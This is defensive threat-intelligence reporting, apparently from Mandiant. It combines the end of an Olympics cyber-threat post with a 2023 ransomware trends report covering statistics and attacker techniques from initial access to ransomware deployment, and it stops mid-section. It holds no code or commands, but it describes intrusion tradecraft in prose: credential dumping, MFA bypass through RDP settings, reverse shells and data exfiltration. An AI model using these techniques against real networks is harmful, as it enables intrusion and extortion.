• Lure material is often tied to topics of interest within the general public, and we anticipate that threat actors will likely use the upcoming Olympics as lure material for the initial compromise stages of their campaigns. Lures can convince unsuspecting users to engage with malicious material resulting in the distribution of malware. 

Risk Mitigation Techniques 

Organizations should strongly consider taking proactive measures to reduce the risk of cyber threats associated with the Paris Olympics.

• Organizations involved in the Games should update their threat profile to account for potentially new threats to which they will be exposed. Intelligence on relevant threat actors can be used to inform detection efforts, insert proactive security controls, conduct threat hunting within a network, and inform cyber risk assessments linked to the Games. It may be helpful to review the following guides for countering DDoS and destructive attacks: 
  • Proactive Preparation and Hardening to Protect Against Destructive Attacks
  • Linux Endpoint Hardening to Protect Against Malware and Destructive Attacks
  • Distributed Denial of Service (DDoS) Protection Recommendations
• Organizations that face an elevated threat from ransomware and extortion operations are encouraged to read Mandiant Intelligence’s Ransomware Protection and Containment Strategies guide. This provides practical guidance for hardening and protecting infrastructure, identities, and endpoints. 
• Security awareness training should highlight the risks of Olympics-related social engineering lures in the runup to and during the Games. 
• Organizations and individuals traveling to the Games should consider travel-related cyber risks, such as the elevated risk of public Wi-Fi tampering, scams involving Olympics-related events, and the targeting of VIPs (i.e. government officials, senior decision makers, and business executives).
• Organizations that face an elevated threat of information operations in relation to the Olympics should consider potential brand damage risks and comms mitigation strategies. It may be helpful to review Mandiant’s blog post, How to Understand and Action Mandiant's Intelligence on Information Operations.

Figure 6: Mitigations for travel and close access threats

Outlook

Despite the variety of Olympics-related cyber threats, the security community is better prepared when compared to previous iterations of the Games. Having observed actors such as APT44 target previous Olympics, we have better insights into the ways the Games could be targeted. This gives defenders an opportunity to build a proactive and tailored security posture.

Written by: Bavi Sadayappan, Zach Riddle, Jordan Nuce, Joshua Shilko, Jeremy Kennelly

 

A version of this blog post was published to the Mandiant Advantage portal on April 18, 2024.

Executive Summary

• In 2023, Mandiant observed an increase in ransomware activity as compared to 2022, based on a significant rise in posts on data leak sites and a moderate increase in Mandiant-led ransomware investigations.
• Mandiant observed an increase in the proportion of new ransomware variants compared to new families, with around one third of new families observed in 2023 being variants of previously identified ransomware families. 
• Actors engaged in the post-compromise deployment of ransomware continue to predominately rely on commercially available and legitimate tools to facilitate their intrusion operations. Notably, we continue to observe a decline in the use of Cobalt Strike BEACON, and a corresponding increase in the use of legitimate remote access tools.
• In almost one third of incidents, ransomware was deployed within 48 hours of initial attacker access. Seventy-six percent (76%) of ransomware deployments took place outside of work hours, with the majority occurring in the early morning. 
• Mandiant's recommendations to assist in addressing the threat posed by ransomware are captured in our Ransomware Protection and Containment Strategies: Practical Guidance for Hardening and Protecting Infrastructure, Identities and Endpoints white paper.

Introduction

Threat actors have remained driven to conduct ransomware operations due to their profitability, particularly in comparison to other types of cyber crime. Mandiant observed an increase in ransomware activity in 2023 compared to 2022, including a 75% increase in posts on data leak sites (DLS), and an over 20% increase in Mandiant-led investigations involving ransomware from 2022 to 2023 (Figure 1). These observations are consistent with other reporting, which shows a record-breaking more than $1 billion USD paid to ransomware attackers in 2023. 

This illustrates that the slight dip in extortion activity observed in 2022 was an anomaly, potentially due to factors such as the invasion of Ukraine and the leaked CONTI chats. The current resurgence in extortion activity is likely driven by various factors, including the resettling of the cyber criminal ecosystem following a tumultuous year in 2022, new entrants, and new partnerships and ransomware service offerings by actors previously associated with prolific groups that had been disrupted.

This blog post provides an overview of the ransomware landscape and common tactics, techniques, and procedures (TTPs) directly observed by Mandiant in 2023 ransomware incidents. Our analysis of TTPs relies primarily on data from Mandiant incident response engagements and therefore represents only a sample of global ransomware intrusion activity. The majority of these incidents involved the post-compromise deployment of ransomware following network intrusion activity, with many incidents also involving data theft extortion. The impacted organizations were based across Africa, Asia Pacific, Europe, Latin America and the Caribbean, the Middle East, and North America, and within nearly every industry sector.

Read our Ransomware Protection and Containment Strategies paper for in-depth strategies to defend against ransomware.

Figure 1: Ransomware incident response investigations, 2018–2023

Ransomware Landscape in 2023

Ransomware remains a prominent threat to organizations across all sectors and geographical regions; victims on DLS spanned more than 110 countries in 2023. Ransomware-as-a-service (RaaS) offerings, both new and existing, lower the barrier to entry for threat actors interested in conducting these operations. The 75% increase in victims posted to tracked DLS compared to 2022 illustrates the continued interest in these operations. While the overall mechanics of RaaS operations have remained fairly consistent, some actors have tested new and unique methods to increase extortion pressure on victims and/or to obtain payments.

• In mid-2023, ALPHV operators created a website purportedly containing searchable victim data and released an application programming interface (API) for their DLS to potentially increase pressure on victims by making their data more easily accessible.
• In November 2023, in an apparent first, ALPHV/BlackCat-affiliated actors claimed that they filed a complaint with the U.S. Securities and Exchange Commission (SEC) against an alleged victim, MeridianLink, for failing to disclose a data breach stemming from a cyberattack that the gang itself conducted. 
• In 2023, there were multiple reports of ransomware actors targeting patients of impacted healthcare facilities to apply additional pressure on these organizations to pay ransom demands. These tactics included "swatting" patients and contacting patients threatening to leak personal data. 
• Several newer RaaS operations, such as Trigona and Kuiper, accept multiple cryptocurrencies, including Monero. For example, the Kuiper ransomware operators appear to prefer to be paid in Monero given the analyzed ransom notes indicate the ransom demand is increased 20% if victims pay in Bitcoin. The preference for being paid in Monero suggests actors are taking additional steps to obscure their activity. 

Data Leak Sites

2023 marked the year with the highest volume of posts on shaming sites since we began tracking these sites in Q1 2020, with Q3 2023 breaking the quarter record with more than 1,300 posts (Figure 2). Other indicators also support an increase in overall ransomware activity, including a 15% increase in unique sites with at least one post and an over 30% increase in new DLS in 2023 compared to 2022.

Approximately 30% of posts in 2023 were on newly identified DLS associated with various ransomware families, including ROYALLOCKER.BLACKSUIT, RHYSIDA, and REDBIKE (aka Akira). Notably, we identified limited overlaps with several of the top new DLS and tracked threat actors and/or previously observed ransomware families (Figure 3). It is plausible that at least some portion of the newly identified DLS activity is the result of previously established actors forming new alliances or rebrands rather than creating completely new offerings.

Figure 2: Data leak site victims, 2020–2023

Figure 3: New 2023 DLS with code reuse, actor overlaps, or rebrands

Figure 4: Number of unique data leak sites active each month

New Ransomware Families 

The proportion of new ransomware variants compared to new families has steadily increased, with around one third of new families observed in 2023 being variants of previously identified ransomware families (Figure 5). This could suggest that threat actors are using their time and resources to update pre-existing ransomware families rather than creating new families from scratch. Further, since 2021, we have observed an increase in the proportion of ransomware families and variants capable of encrypting Linux and ESXi systems compared to Windows, a trend that continued throughout 2023 (Figure 6). Approximately 70% of new subfamilies in 2023 were designed to target non-Windows systems when a Windows variant already existed, while around 11% of new subfamilies were the result of rebrands. Threat actors have likely continued to target non-Windows systems to increase their potential attack surface and maximize their impact as well as potential ransom demands.

Figure 5: Newly analyzed ransomware families (this does not reflect the entirety of the ransomware ecosystem)

Figure 6: Breakdown of ransomware supported operating system per year

Timing of Ransomware Deployment

While we have historically identified clear patterns in the most prominent day of the week for ransomware execution and a high volume of activity occurring outside of work hours, ransomware operators appeared to be less deliberate in their timing in 2023. About 75% of ransomware deployments appeared to occur outside of standard business hours, a slight reduction from 2021 and 2022, and ransomware execution was more evenly distributed across days of the week than in prior years (Figure 7).

Figure 7: Ransomware execution by hour of the day

Time Elapsed Between Initial Infection and Ransomware Deployment

The median time between initial access and ransomware deployment increased slightly from five days in 2022 to six days in 2023. In recent years, we have seen a significant reduction in the time between initial access and ransomware deployment. The median time elapsed during ransomware intrusions between 2017 and 2019 was 21 days, which decreased dramatically to just 3.5 days in 2020, before shifting upward to seven days 2021. Incidents that involve data theft extortion continue to take longer than incidents involving just ransomware deployment. In 2023, we observed approximately 59% of incidents involving confirmed or suspected data theft extortion compared to approximately 51% in 2022; this increase is likely reflected in the slight increase in median time in 2023 compared to 2022.

• In 2023, the number of days elapsed between the first evidence of malicious access and the deployment of ransomware varied widely, ranging from zero to 116 days (Figure 8).
• In approximately 15% of incidents, ransomware was deployed within one day of initial attacker access and almost one third of incidents involved ransomware execution within the first 48 hours of initial access. 
• In more than 77% of observed incidents, ransomware was deployed within the first 30 days of initial attacker interaction and 54% occurred within the first week.
• Approximately 59% of 2023 incidents involved confirmed or suspected data theft. The median time between initial access and ransomware deployment in incidents with confirmed or suspected data theft was 6.11 days, while the median time in incidents without data exfiltration was 1.76 days. 
  • 2022 incidents had a larger range between incidents with or without data exfiltration, with missions involving data theft having a median time of nine days compared to one day for those without data theft. This could suggest that threat actors are becoming more efficient when performing data theft.

Figure 8: Days elapsed between initial access and ransomware deployment

Commonly Observed TTPs

The following sections discuss trends in the TTPs used by threat actors distributing ransomware post-compromise, and they are organized into corresponding stages of Mandiant's attack lifecycle model (Figure 9). The TTPs outlined in this section were observed by Mandiant during ransomware investigations in 2023.

Figure 9: Attack lifecycle associated with ransomware incidents observed in 2023

Initial Access

The most common initial access vectors in 2023 involved stolen credentials or the exploitation of vulnerabilities in public-facing infrastructure (Figure 10). In numerous incidents, the first evidence of network compromise was an actor's authentication to the victim's virtual private network (VPN) either through possession of legitimate credentials or a successful brute-force attack. We also observed a slight increase in brute-force attacks in 2023 compared to 2022.

• In almost 40% of incidents where the initial access vector was identified, threat actors used compromised legitimate credentials to gain access to victim environments, either through the use of stolen credentials or brute-force attacks. The vast majority of these incidents involved authentication to a victim's corporate VPN infrastructure.
  • Approximately one fourth of analyzed incidents with a known initial infection vector involved the use of stolen credentials. It is plausible that, in some cases, threat actors are obtaining these credentials via underground forums given that we consistently observe threat actors selling credentials, including logs obtained from infostealers. Further, threat actors have expressed high interest in infostealers, which could be leveraged to obtain credentials. 
  • Around 14% of incidents involved the use of brute-force attacks, an increase from 8% of incidents in 2022. In several instances, a threat actor was able to successfully log in via an account with a simple or common password. 
• Vulnerability exploitation of publicly facing systems continues to be a common initial access vector, observed at a slightly increased rate in 2023 compared to 2022 (Table 2). Across analyzed incidents in 2023, threat actors exploited vulnerabilities for initial access in almost 30% of incidents, up from 24% in 2022, but significantly down from over 50% in 2021. Multiple incidents involving vulnerability exploitation for initial access had a total time-to-ransom value that was less than five minutes, suggestive of automated mass exploitation and ransomware deployment to vulnerable systems accessible via the internet.
  • Multiple threat actors exploited CVE-2023-4966 (aka CitrixBleed) to hijack legitimate Citrix NetScaler user sessions. Follow-on activity included deployment of various ransomware families, including AGENDA.RUST, ALPHV, and LOCKBIT.
  • In all observed incidents involving vulnerability exploitation, threat actors exploited known vulnerabilities where exploit or proof-of-concept (PoC) code was publicly available. In one instance, threat actors were suspected to have exploited a 2017 vulnerability in Liferay Portal.
  • While Mandiant did not directly observe any ransomware incidents where threat actors engaged in zero-day exploitation for initial access, public reporting indicated that at least three zero-day vulnerabilities (CVE-2023-28252, CVE-2023-20269, and CVE-2023-24880) were used in incidents involving the deployment of four different ransomware families. FIN11 also continued to exploit zero-day vulnerabilities in file transfer systems, but in operations involving data theft extortion without ransomware deployment. 
• In about 14% of incidents in which the initial access vector was identified, threat actors conducted email, SMS, or voice phishing.
  • QAKBOT campaigns were the initial access vector in multiple BASTA incidents. The QAKBOT payloads were distributed through email spam campaigns via different malicious payloads, including ZIP and OneNote files.
  • In 2023, UNC3944 used SMS phishing operations and social engineering to obtain credentials for initial access, including impersonating employees in phone calls to the victim organization's help desk as part of an attempt to reset passwords and multi-factor authentication (MFA) device configurations. 
• Threat actors also leveraged opportunistic web-based malware distribution to gain initial access to victim environments. 
  • UNC4696 leveraged malicious advertisements for popular software such as WinSCP and Advanced IP Scanner to trick victims into downloading a malicious installer, leading to BEACON or a Python-based backdoor. UNC4696 leveraged this access to ultimately deploy ALPHV.

During 2023, Mandiant also continued to observe threat actors leverage initial access that had been obtained from another threat actor to facilitate ransomware deployment. These initial compromises were typically performed via prominent malware distribution threat clusters. 

• Throughout 2023, we observed numerous UNC4393 BASTA ransomware operations that leveraged initial access obtained via UNC2500 and UNC2633 QAKBOT campaigns. However, following the August 2023 takedown of QAKBOT, we observed UNC2500 distributing DARKGATE in intrusions leading to UNC4393 BASTA ransomware operations.
• Other notable distribution threat clusters that were observed prior to ransomware deployment included UNC2565 distributing GOOTLOADER, UNC2824 distributing URSNIF, and UNC3525, which offers access to hosts infected with SMOKELOADER.

Figure 10: Initial intrusion vectors

Vector

Description

Brute Force

The threat actor gained access to the victim's environment via brute-force authentication.

Exploit

The threat actor exploited a vulnerability against an internet-facing server, which resulted in unauthorized access to the victim's environment.

Phishing

The threat actor gained access to the victim's environment by distributing malicious emails.

Server Compromise

The threat actor gained access to the victim environment via compromise of internet-facing servers. 

Stolen Credentials

The threat actor leveraged stolen credentials to gain access to the victim's environment.

Third Party

The threat actor gained access to the victim's environment by compromising a third party, such as a business partner, hosting provider, service provider, or other related organization.

Web Compromise

The threat actor used a web-based delivery mechanism, such as malicious advertisements, SEO poisoning, or watering hole attacks to access the victim's environment.

Table 1: Initial intrusion vector descriptions

Vendor

Product

CVE

Apache

ActiveMQ

CVE-2023-46604

Atlassian

Confluence

CVE-2023-22518

Citrix

NetScaler ADC

CVE-2023-4966

CVE-2023-3519 (suspected)

Fortinet

FortiOS

CVE-2022-40684

Liferay

Liferay

2017 Liferay vuln

ManageEngine

Service Desk

CVE-2022-47966

Microsoft

Exchange Server

CVE-2021-31207

CVE-2021-34473

CVE-2021-34523

Progress

WS_FTP Server

CVE-2023-40044

Veritas

Backup Exec Agent

CVE-2021-27876

CVE-2021-27877

CVE-2021-27878

VMware

vSphere Client

CVE-2021-21974

(suspected)

Horizon Unified Access Gateway

CVE-2021-45046

Table 2: Suspected/observed vulnerabilities leveraged for initial access in ransomware incidents Establish Foothold

Threat actors used a combination of legitimate remote access tools, attack frameworks, tunnelers, and valid credentials to establish footholds within victim environments.

• BEACON remained the most popular attack framework used by threat actors; it was used to establish a foothold in approximately 10% of ransomware engagements in 2023. Other exploitation frameworks, such as BOLDBADGER and METASPLOIT, were observed in a small subset of ransomware incidents. For example, in one LOCKBIT.BLACK intrusion, the actors established a foothold via BOLDBADGER.
• Threat actors consistently relied on remote management tools for multiple phases of the attack lifecycle, including to establish foothold, maintain presence, and data exfiltration. Commonly used remote management tools included ScreenConnect, Splashtop, Atera, and Anydesk. 
• Threat actors often used compromised RDP and VPN user credentials to establish a foothold. This is consistent with our observations of threat actors frequently using compromised credentials to gain initial access, as threat actors continued to leverage valid credentials to move around the network via Remote Desktop Protocol (RDP). We also observed threat actors creating new user accounts for this phase of the attack lifecycle. 
• UNC3944 modified MFA configurations in multiple incidents as a method to maintain presence. In one incident, they added new MFA devices to compromise accounts.
• We observed an increase in the usage of web shells for this phase of the attack lifecycle; however, many of these incidents stemmed from an UNC4721 campaign involving the exploitation of Atlassian vulnerabilities to deploy Java-based web shells, ultimately leading to CONTI ransomware. 
• Although not as common, some threat actors deployed backdoors, such as LIGHTDUTY, GOREVERSE, and BANKSHOT, in incidents leading to ransomware deployment.

Maintain Presence

Threat actors largely relied on legitimate remote access tools, BEACON, and a variety of tunneler and proxy malware to maintain presence in victim environments. In some cases, they also used built-in Windows persistence mechanisms, created new accounts, or changed passwords of pre-existing accounts. 

• Threat actors have seemingly continued to shift away from using BEACON to maintain presence. In 2023, only 14% of ransomware incidents involved BEACON usage during this phase, compared to 37% in 2022, and more than 50% in 2021. 
• We observed limited use of other post-exploitation C2 frameworks, such as METASPLOIT. For example, in one NOESCAPE incident, the threat actor registered a service for SLIVER.
  • In a CACTUS ransomware incident, threat actors used Metasploit and Meterpreter SSH reverse shells to external attacker-controlled infrastructure.
• Threat actors continue to show a proclivity for using legitimate remote access software to maintain presence, sometimes introducing multiple different remote access tools in the same environment (Table 3). We identified remote access utilities used to maintain presence in more than 35% of incidents.
• While less common, some threat actors continue to leverage custom backdoors and malware. For example, FIN8 has used a multi-stage shellcode infection chain leading to the TURBOSHOCK backdoor, which we believe may be exclusive to these threat actors.
• Threat actors leveraged SSH tunnels and reverse shells. For example, we observed multiple threat actors downloading the BitVise SSH client from the vendor website.
  • A threat actor who deployed CACTUS ran a batch file script that created a scheduled task to execute a reverse shell every 15 minutes.
  • In a LOCKBIT.BLACK intrusion, threat actors configured an SSH tunnel that enabled them to connect directly into the victim network. The actors ran batch scripts that created two scheduled tasks, which ran an OpenSSH server configured to listen on port 2222 and established the outbound SSH connection that forwarded access to port 2222.
• Threat actors relied on tunnelers to maintain presence in victim environments in approximately 18% of intrusions. SYSTEMBC was the most commonly used tunneler, with Cloudflared, RSOCX, and NGROK also used in multiple incidents. 
• In approximately 17% of incidents, threat actors used their access to create new user accounts—many of which had elevated privileges—to maintain their presence.
• Threat actors also used built-in Windows persistence mechanisms, such as scheduled tasks, service installations, and registry-based persistence, to persist a variety of malware and scripts. In some cases, the malware itself creates a scheduled task, like in the case of SYSTEMBC.V2 and SYSTEMBC.POWERSHELL.

Remote Access Tools

Fleetdeck

Pulseway

Level.io

ScreenConnect

Atera

Teamviewer

Anydesk

Splashtop

DWAgent/DWService

RustDesk

MeshAgent

eHorus

Parsec

LevelRMM

Table 3: Legitimate remote access tools used to maintain persistence

Escalate Privileges

Threat actors most often escalated privileges in victim environments by obtaining valid credentials, most frequently via MIMIKATZ, although they commonly employed multiple tools and/or tactics in a single intrusion. Other credential theft tools used by threat actors included CLEANBLUFF, LAZAGNE, NANODUMP, and a variety of publicly available tools and scripts. Threat actors also attempted privilege escalation through other methods, including vulnerability exploitation, DPAPI, and kerberoasting attacks.

• In numerous incidents, the threat actors leveraged MIMIKATZ, a Windows security audit tool that can be used to steal password hashes and dump plaintext passwords extracted from memory to obtain credentials with administrative privileges.
• Across multiple incidents, threat actors attempted to obtain credentials stored in memory by dumping lsass.exe (Local Security Authority Subsystem Service). In at least one case, we suspect that the threat actors leveraged NANODUMP, a credential theft utility that targets the Windows LSASS process for obtaining memory minidumps. Some threat actors also extracted the ntds.dit Active Directory database and various registry hives, including SAM, System, and Security, to obtain additional credentials.
• Threat actors leveraged various publicly available tools to access credentials via kerberoasting attacks. These tools have included PowerShell, RUBEUS, and the Invoke-Kerberoast PowerShell cmdlet. 
• Threat actors attempted to exploit vulnerabilities to escalate privileges in a variety of ransomware incidents. 
  • In an ALPHV ransomware intrusion, threat actors leveraged CLEANBLUFF, a privilege escalation tool that exploits a vulnerability in the Common Log File System driver component of Windows (CVE-2022-24521).
  • During another incident that involved LOCKBIT ransomware, the threat actors deployed a file that was capable of exploiting CVE-2022-24521 and/or CVE-2021-43226 for privilege escalation.
  • In a BASTA ransomware intrusion, we observed threat actors leverage CVE-2023-28252 to escalate privileges in a victim environment prior to deploying BEACON.
  • During an intrusion involving LOCKBIT.BLACK and LOCKBIT.UNIX ransomware deployment, there was evidence that the threat actors likely leveraged CVE-2023-3539 for privilege escalation.
  • In a WHITERABBIT ransomware intrusion, the threat actors leveraged CVE-2023-3519, which would likely have provided them with access to privileged credentials. 
• Threat actors commonly employed various publicly available tools to obtain valid credentials and/or login to additional accounts.
  • We observed threat actors using AGENDA.RUST, GLOBEIMPOSTER, MALLOX, MEDUSEALOCKER.V2, and PHOBOS leverage the open-source credential theft tool LAZAGNE.
  • Threat actors who later deployed ALPHV.LINUX, ALPHV.SPHYNX, RAGNARLOCKER, and STALEDONUT executed variations of the Veeam-Get-Creds.ps1 script, which is a publicly available script that attempts to recover passwords used by Veeam to connect to remote hosts. 
  • Threat actors using ALPHV.LINUX, ALPHV.SPHYNX, LOCKBIT, MEDUSALOCKER.V2, conducted brute-force attacks to access additional systems. For example, in a MEDUSALOCKER.V2 intrusion, the threat actor leveraged NLBRUTE, a Windows-based RDP brute-forcing tool that takes an input of target host addresses, usernames, and passwords.
  • In several ransomware-related intrusions, threat actors leveraged DONPAPI, a credential dumping utility written in Python that allows the gathering of credentials that are protected by DPAPI. 
  • In an incident involving LOCKBIT.V2 ransomware, the threat actors leveraged various credential harvesting tools that are publicly available, including LAZAGNE, MIMIKATZ, multiple tools that are available on the NirSoft website, gosecretsdump, and EFSPOTATO. 
• During an intrusion involving REDBIKE.LINUX ransomware, the threat actors used a domain join request to add an ESXi server to the victim domain so they could log in to the ESXi server with domain accounts.
• In an incident involving PLAYCRYPT ransomware deployment, the threat actors leveraged MIMIKATZ, attempted to dump LSASS via task manager, and recovered the ntds.dit Active Directory database from a volume shadow copy. They also used a more unique technique for privilege escalation, which involved the use of Internal Monologue to retrieve NTLM hashes and credentials.

Internal Reconnaissance

Threat actors frequently use built-in Windows utilities as well as publicly available and legitimate tools to facilitate internal reconnaissance activities during ransomware incidents. In several incidents, we observed threat actors searching internal resources, such as SharePoint drives, documentation, and emails for specific information that could support their operations.

• In approximately 50% of incidents, threat actors relied on publicly available network scanners to perform network reconnaissance in victim environments. Popular scanners included Advanced IP Scanner, Softperfect Network Scanner, and Advanced Port Scanner. 
  • In a MALLOX incident, threat actors used Softperfect Network Scanner, Advanced IP Scanner, IPConfig, and manually browsed files and folders on 12 endpoints.
• In some instances, we observed threat actors leverage web-based management interfaces in order to obtain information from a variety of different applications.
  • In a BLACKBYTE incident, threat actors used the vSphere web console to obtain information on various vSphere objects and traverse directories on a network share.
  • In a LOCKBIT incident, the threat actors used web-based management interfaces to gather information on multiple applications including Veeam backup software and multiple ESXi hosts.
  • UNC3944 used the Azure management interface to download a list of user and role assignments.
• In multiple incidents, threat actors performed targeted browsing of various internal systems, such as OneDrive and Sharepoint, looking for information related to passwords or internal infrastructure that could support other attack phases. 
  • In one instance, threat actors searched a victim's SharePoint for the word "ransomware." While the goal of this search is unclear, it is plausible that the actor was looking for ransomware protection mechanisms employed by the victim and/or cyber insurance/company policies dictating payment protocols in the event of a ransomware event.
  • In a ROYALLOCKER incident, the threat actor searched various internal resources including the Exchange public folders for a specific set of email addresses. They also performed a "Compliance Search"—normally used to support legal discovery (eDiscovery) requests—to target data from more than a dozen Exchange mailboxes.
• Consistent with previous years, threat actors frequently used both built-in Windows commands and PowerShell commands to gather information about victim infrastructure and hosts. Commonly observed Windows commands included whoami, net, nltest, ipconfig, and ping.
• Threat actors often deployed publicly available domain reconnaissance tools to perform a variety of tasks, including enumerating network shares, domain computers, and domain users. Popular tools included GHOSTCERT, SHARPSHARES (enumerates network shares), and SHARPHOUND (used to collect Active Directory information for BLOODHOUND). 
• In a PLAYCRYPT attack, the threat actors used AdFind and the Active Directory PowerShell module from RSAT to enumerate domain computers.
• In a limited number of intrusions, threat actors gathered information about NAS drives. For example, in an ALPHV intrusion, the threat actors downloaded and executed QNAP Qfinder Pro, a utility that provides easy access to view and manage files stored in a NAS. Separately, in a BABLOCK incident, threat actors accessed the victim's Synology NAS storage. These storage drives are likely an attractive target for ransomware operators as they could hold sensitive information for data theft extortion and/or be valuable targets for encryption. 

Lateral Movement

Lateral movement was most often accomplished using valid credentials from compromised accounts and/or attacker-created accounts in combination with built-in protocols, such as RDP, SSH, or SMB. Many incidents involved a combination of multiple commands, software, tools, and utilities for lateral movement. Threat actors leveraged some lateral movement methods less frequently compared to prior years; for example, the use of BEACON for lateral movement was seen in significantly fewer intrusions involving ransomware in comparison to 2022. 

• In various ransomware intrusions, threat actors relied heavily on Windows RDP and SMB protocols to move laterally across a network using valid and compromised credentials. In multiple incidents, threat actors enabled restricted admin mode for RDP; this enables actors with access to administrative privileges to bypass MFA when moving laterally within the victim environment.
• PsExec was commonly used to transfer and execute files across multiple intrusions. For example, in an incident involving ALPHV ransomware deployment, the threat actors used PsExec to run a batch script across multiple systems to enable RDP for lateral movement. In a separate incident, the threat actors used PsExec to deploy BEACON across multiple systems prior to ALPHV ransomware deployment.
• Throughout 2023, threat actors commonly leveraged SSH to move laterally in ransomware incidents, often to gain access to ESXi servers. In several intrusions, threat actors leveraged the open-source PuTTY utility to move laterally over SSH between victim systems. We also observed threat actors leveraging the Bitvise and MobaXterm SSH server/clients in incidents involving various ransomware families. 
• During several intrusions, threat actors leveraged Impacket's smbexec utility for lateral movement. For example, in one ALPHV ransomware intrusion, the threat actors used a modified version of Impacket's smbexec to create a new local admin account named "Admin" and added it to the local administrator's group on a different internal host. The actor then used RDP to leverage the new Admin account and access another system.
• Across multiple ransomware incidents, threat actors leveraged remote management software such as Splashtop and Screenconnect to access additional internal systems. 
• Threat actors also leveraged several tunneling tools to move laterally, including possible NGROK activity in an intrusion leading to ROYALLOCKER and RSOCX in another incident involving ALPHV.LINUX ransomware deployment. 
• In an incident leading to the deployment of ALPHV ransomware, the threat actors used the proxy malware SYSTEMBC.POWERSHELL for lateral movement. 

Complete Mission

Ransomware operators routinely conduct multifaceted extortion operations involving data theft as it gives them additional leverage in negotiating a successful ransomware payment. In the following subsections we highlight observations from both the data exfiltration and ransomware deployment phases of these operations. Based on Mandiant incident response engagements in 2023, in aggregate, ALPHV (ALPHV, ALPHV.LINUX, and ALPHV.SPHYNX) and LOCKBIT (LOCKBIT.BLACK, LOCKBIT.V2, and LOCKBIT.UNIX) were the most frequently observed ransomware families, followed by BASTA, REDBIKE, and PHOBOS (Figure 11). This is consistent with our 2022 observations in which ALPHV, LOCKBIT, and BASTA were the ransomware families most frequently observed, beaten out only by HIVELOCKER, which was disrupted in early 2023.

Figure 11: Distribution of ransomware families observed in 2023 incidents

Ransomware Families Observed in 2023 Incident Response Investigations

AGENDA.RUST

ALLEYCAT

ALPHV

ALPHV.LINUX

ALPHV.SPHYNX

BABLOCK

BABUK

BASTA

BEAMWAVE

BLACKBYTE

CACTUS

CONTI

CRYTOX

ESXIARGS

GLOBEIMPOSTER

GOODGAME

LOCKBIT

LOCKBIT.BLACK

LOCKBIT.UNIX

LOCKBIT.V2

LOKILOCKER

MALLOX

MEDUSALOCKER.V2

MONSTER

MORSEOP

NOESCAPE

PHOBOS

PLAYCRYPT

RAGNARLOCKER

REDBIKE

REDBIKE.LINUX

RHYSIDA

ROBBINHOOD

ROYALLOCKER

SNAKEBITE

SODINOKIBI.ESXI

STALEDONUT

STONELOCK

STOP

TRUECRYPT

VSOCIETY

WHITERABBIT

Table 4: Ransomware families observed in Mandiant's 2023 incident response investigations

Data Exfiltration

In ransomware incidents where data is known or suspected to have been stolen, threat actors have continued to use common strategies to identify, stage, and exfiltrate data. The most common approaches that we observed include the use of legitimate data synchronization tools such as Rclone and MEGASync, file compression using built-in tools or portable versions of WinRar or 7Zip, FTP clients such a FileZilla or WinSCP, and simple keyword searches to identify files to target for theft. 

• Mandiant commonly identified evidence of threat actors using keyword searches to target sensitive files for theft. These keywords varied across intrusions, but were generally related to topics such as general business operations, financial documents, accounting, non-disclosure agreements, confidential information, and credentials or credential stores.
• In a small number of cases, threat actors used custom data exfiltration tools to steal data from a victim's environment. For example, we observed a threat actor use EXMATTER alongside LOCKBIT.BLACK and a separate threat actor use EXBYTE in a case where BLACKBYTE ransomware was later deployed. In another case where an unknown ransomware was deployed, the threat actor used POWERLIFT to exfiltrate data related to the organization's financial operations and other confidential information.
• Threat actors most often used common publicly available tools and utilities to exfiltrate data from victim environments. Other common exfiltration mechanisms included files being transferred using an remote access tool, direct upload to cloud file storage via web browser, or the creation of email forwarding rules. 
  • We observed Rclone in approximately 30% of intrusions where data theft was confirmed or was suspected. Rclone was used to exfiltrate data to various destinations, including commercial cloud file storage services and attacker-controlled infrastructure. Other data synchronization tools used in this way include MEGASync and restic. 
  • FileZilla and/or WinSCP were used in the vast majority of cases where attackers exfiltrated data using an FTP client, although PuTTY (and/or Solar-PuTTY) were also used in a small number of cases. 
• At an ALPHV incident, multiple days after ransomware deployment, the threat actor created a mailtransport rule to BCC all inbound emails from the exchange server to an external email address. This may have been an attempt to exfiltrate additional sensitive information from the victim environment or to track their incident response and recovery efforts.

Ransomware Deployment

Threat actors have used diverse tactics to deploy ransomware payloads across victim environments. The most frequently observed methods include manual execution of ransomware payloads by threat actors who have interactive access to hosts via RDP or SSH and the use of PsExec with and without the use of pre-built deployment scripts. Notably, the PsExec utility was used in nearly 40% of the analyzed ransomware intrusions.

• The mechanism used to deliver preliminary ransomware payloads into a victim environment is often not identified; however, commonly observed mechanisms include the threat actors uploading via an installed remote access tool, or downloading from an actor-controlled SFTP server or a public file-sharing site, such as temp.sh.
• Threat actors commonly distribute and execute ransomware binaries using built-in commands, most often using PowerShell or batch scripts in tandem with scheduled tasks, Group Policy (GPOs), and/or the common administrative utility PsExec. The scripts using these types of commands to deploy ransomware may not always be detected or forensically recovered, as there are many common mechanisms to enable their execution in memory. 
  • We observed PowerShell used in various ways to enable ransomware execution, including its use for manual execution in an active PowerShell sessions (REDBIKE), injecting ransomware into another running process (CRYTOX), initiating a sequence of loaders ultimately leading to a ransomware payload (MALLOX), or more simply to execute ransomware on hosts across a network using PsExec (RHYSIDA).
  • Although scheduled tasks remained the most common persistence mechanism used to manage ransomware execution, in some rare cases, threat actors used other methods for this same purpose. These methods included the use of Bitsadmin jobs and registry Run keys, both of which were employed by actors deploying BASTA ransomware at separate intrusions.
• In approximately 20% of all ransomware intrusions during 2023, threat actors manually executed ransomware on hosts while logged in interactively via SSH, RDP, or a remote management tool. Manual execution of ransomware payloads occurred disproportionately in cases where a virtualization hypervisor such as ESXi or Hyper-V was targeted for encryption. 
  • We observed threat actors deploying ALPHV, BLACKBYTE, RHYSIDA, and LOCKBIT manually execute ransomware on ESXi hypervisors. In one case, the threat actor manually deployed ALPHV to multiple Hyper-V servers in an intrusion where they otherwise deployed ransomware using Group Policy. 
  • We observed threat actors deploying LOKILOCKER, REDBIKE, STOP, MEDUSALOCKER, GLOBEIMPOSTER, AGENDA, BASTA, ALPHV, WHITERABBIT, LOCKBIT, and PLAYCRYPT manually execute ransomware on some or all hosts impacted at intrusions. In one notable case, a threat actor deploying LOCKBIT manually executed their ransomware on a host 30 minutes prior to automated deployment via batch scripts, presumably as a test of the network's defenses. 

Anti-Detection and Analysis Tactics

Threat actors may take additional steps to ensure their ransomware can execute unabated and that their efforts cannot easily be undone by the victim. These actions may include disabling and deleting backups, disabling security software, clearing logs, and stopping processes and services that may interfere with file encryption.

• Threat actors used various methods to disable or tamper with Windows Defender or other endpoint protection software. 
